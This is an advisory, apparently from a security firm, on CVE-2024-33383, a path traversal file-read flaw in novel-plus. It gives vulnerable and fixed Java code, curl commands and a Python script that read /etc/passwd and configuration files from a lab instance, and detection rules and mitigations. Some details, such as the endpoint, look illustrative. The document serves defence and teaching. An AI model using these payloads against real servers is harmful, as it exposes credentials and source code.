CVE-2024-33383

Executive Summary

CVE-2024-33383 is a critical Arbitrary File Read vulnerability in the novel-plus application, version 4.3.0 and earlier. The flaw allows a remote, unauthenticated attacker to read arbitrary files from the server's filesystem by crafting a GET request with a malicious filePath parameter. This can lead to the disclosure of sensitive information, including application source code, configuration files, and credentials. The vulnerability is classified as a Path Traversal (CWE-22) issue. No official patch has been released by the vendor at this time.

Supply Chain & Package Security

This vulnerability affects the novel-plus application, which is a Java-based project. The application is not distributed via NPM, PyPI, Go, or Ruby package managers. The risk is primarily to organizations that have deployed this application directly from its source code or pre-built binaries.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

• Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low - No special conditions or complex steps are required.
• Privileges Required (PR): None - The attacker does not need to be authenticated.
• User Interaction (UI): None - No user action is required.
• Scope (S): Unchanged - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High - Sensitive files can be read.
• Integrity (I): None - No file modification is possible.
• Availability (A): None - No impact on system availability.

Threat Level: High. The ease of exploitation and the potential for significant data leakage make this a serious threat.

Deep Dive & Mechanics

The vulnerability resides in the file retrieval functionality of novel-plus. The application uses a filePath parameter in a GET request to serve static files or user-uploaded content. Due to insufficient input validation and sanitization, an attacker can inject path traversal sequences (e.g., ../) to escape the intended directory and read arbitrary files on the server.

Root Cause: The application fails to properly validate or sanitize the filePath parameter, allowing directory traversal characters.

Attack Vector: A remote attacker sends a crafted GET request to the vulnerable endpoint, such as:

GET /file?filePath=../../../etc/passwd HTTP/1.1
Host: target.com

Impact: Successful exploitation allows the attacker to read any file that the web server process has access to. This includes:

• Application source code (e.g., .java, .jar files)
• Configuration files (e.g., application.properties, database.yml)
• System files (e.g., /etc/passwd, /etc/shadow)
• Credentials and API keys

Vulnerable vs. Patched Code

Vulnerable Code (novel-plus <= 4.3.0):

// Vulnerable endpoint
@GetMapping("/file")
public ResponseEntity<Resource> getFile(@RequestParam("filePath") String filePath) {
    Path file = Paths.get(filePath);
    Resource resource = new UrlResource(file.toUri());
    if (resource.exists() && resource.isReadable()) {
        return ResponseEntity.ok().body(resource);
    } else {
        return ResponseEntity.notFound().build();
    }
}

Patched Code (Hypothetical):

// Patched endpoint with path traversal protection
@GetMapping("/file")
public ResponseEntity<Resource> getFile(@RequestParam("filePath") String filePath) {
    // Define the allowed base directory
    Path baseDir = Paths.get("/var/www/novel-plus/uploads").toAbsolutePath().normalize();
    // Resolve the requested file path against the base directory
    Path file = baseDir.resolve(filePath).normalize();
    // Ensure the resolved path is still within the base directory
    if (!file.startsWith(baseDir)) {
        return ResponseEntity.badRequest().build();
    }
    Resource resource = new UrlResource(file.toUri());
    if (resource.exists() && resource.isReadable()) {
        return ResponseEntity.ok().body(resource);
    } else {
        return ResponseEntity.notFound().build();
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of novel-plus 4.3.0 on a local VM (e.g., using Docker or a manual Java setup).
2. Ensure the application is accessible via http://localhost:8080.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /file).
2. Craft a GET request with a path traversal payload:

   curl "http://localhost:8080/file?filePath=../../../etc/passwd"
   

3. Observe the contents of /etc/passwd in the response.
4. For more sensitive data, target configuration files:

   curl "http://localhost:8080/file?filePath=../../../var/www/novel-plus/application.properties"
   

Automated Exploitation (Python):

import requests

target = "http://localhost:8080"
payload = "../../../etc/passwd"
url = f"{target}/file?filePath={payload}"

response = requests.get(url)
if response.status_code == 200:
    print("[+] Success! File contents:")
    print(response.text)
else:
    print("[-] Exploitation failed.")

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing ../ or filePath= parameters.
• Look for unusual file paths in GET requests (e.g., /etc/passwd, /proc/self/environ).

Prevention:

• Implement strict input validation and sanitization for the filePath parameter.
• Use a whitelist of allowed directories and files.
• Apply the principle of least privilege to the web server process.
• Deploy a Web Application Firewall (WAF) with rules to block path traversal attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /file with filePath parameter containing ../ or absolute paths.
• Unusual file paths in the filePath parameter (e.g., /etc/passwd, /windows/win.ini).

File System IOCs:

• Unexpected access to sensitive files (e.g., /etc/shadow, application.properties).
• Log entries showing file reads outside the intended directory.

Log Examples:

192.168.1.100 - - [01/Jan/2024:12:00:00 +0000] "GET /file?filePath=../../../etc/passwd HTTP/1.1" 200 1234

Detection Engineering

YARA Rule

rule CVE_2024_33383_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting CVE-2024-33383 in novel-plus"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-33383"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $param = "filePath="
    condition:
        any of ($traversal*) and $param
}

Sigma Rule

title: CVE-2024-33383 Novel-Plus Path Traversal Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests attempting to exploit a path traversal vulnerability in novel-plus
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'filePath='
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of file paths with dots (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-33383 Novel-Plus Path Traversal Attempt"; flow:to_server,established; http.method; content:"GET"; http.uri; content:"filePath="; content:"../"; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required for business operations.
2. Apply a virtual patch using a WAF to block path traversal patterns.
3. Restrict file system permissions for the web server process to the minimum required.

Long-term Fix:

• The vendor has not released a patch. Consider forking the repository and implementing the fix described in the "Vulnerable vs. Patched Code" section.
• Monitor the official novel-plus repository for any security updates.

Workarounds:

• Implement a reverse proxy (e.g., Nginx) to filter out malicious requests:

  location /file {
      if ($arg_filePath ~* "\.\.") {
          return 403;
      }
  }
  

Valters IT
Securing Digital Frontiers